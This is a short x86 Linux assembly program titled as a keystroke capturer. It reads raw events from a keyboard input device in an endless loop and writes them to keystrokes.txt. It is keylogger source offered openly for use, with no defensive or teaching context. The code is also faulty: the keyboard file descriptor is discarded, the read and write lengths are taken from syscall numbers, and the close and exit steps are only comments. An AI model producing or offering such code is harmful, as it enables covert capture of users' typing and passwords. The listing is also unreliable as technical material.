---
# System prepended metadata

title: Capture keystroke and save to a file

---

section .data
    file_descriptor dd 0  ; File descriptor for the output file

section .bss
    buffer resb 64         ; Buffer to store keystrokes

section .text
    global _start

_start:
    ; Open a file for writing
    mov eax, 5               ; syscall number for sys_open (5)
    mov ebx, output_file    ; pointer to output file path
    mov ecx, 0x0002_0101    ; flags (O_WRONLY | O_CREAT | O_TRUNC)
    mov edx, 0x1A4          ; file mode (0644 in octal)
    int 0x80                 ; invoke syscall
    mov [file_descriptor], eax  ; store the file descriptor

; Open the keyboard input device
    mov eax, 5               ; syscall number for sys_open (5)
    mov ebx, input_device   ; pointer to input device path (e.g., "/dev/input/eventX")
    mov ecx, 0x0000_0000    ; flags (O_RDONLY)
    int 0x80                 ; invoke syscall

; Loop to continuously read and write keystrokes
read_and_write_loop:
    ; Read input event (24 bytes per event, adjust as needed)
    mov eax, 3               ; syscall number for sys_read (3)
    mov ebx, eax             ; file descriptor (keyboard input device)
    mov ecx, buffer          ; pointer to the buffer
    mov edx, 24              ; number of bytes to read
    int 0x80                 ; invoke syscall

; Write the input event to the file
    mov eax, 4               ; syscall number for sys_write (4)
    mov ebx, [file_descriptor] ; file descriptor (output file)
    mov ecx, buffer          ; pointer to the buffer
    mov edx, eax             ; number of bytes to write
    int 0x80                 ; invoke syscall

; Repeat the loop to capture more keystrokes
    jmp read_and_write_loop

; Close the input device and file before exiting
; Use sys_close to close the input device and the output file

; Exit the program
; Use sys_exit to exit the program

section .data
    output_file db 'keystrokes.txt',0    ; Output file path
    input_device db '/dev/input/eventX',0 ; Keyboard input device path (replace X with the correct event number)
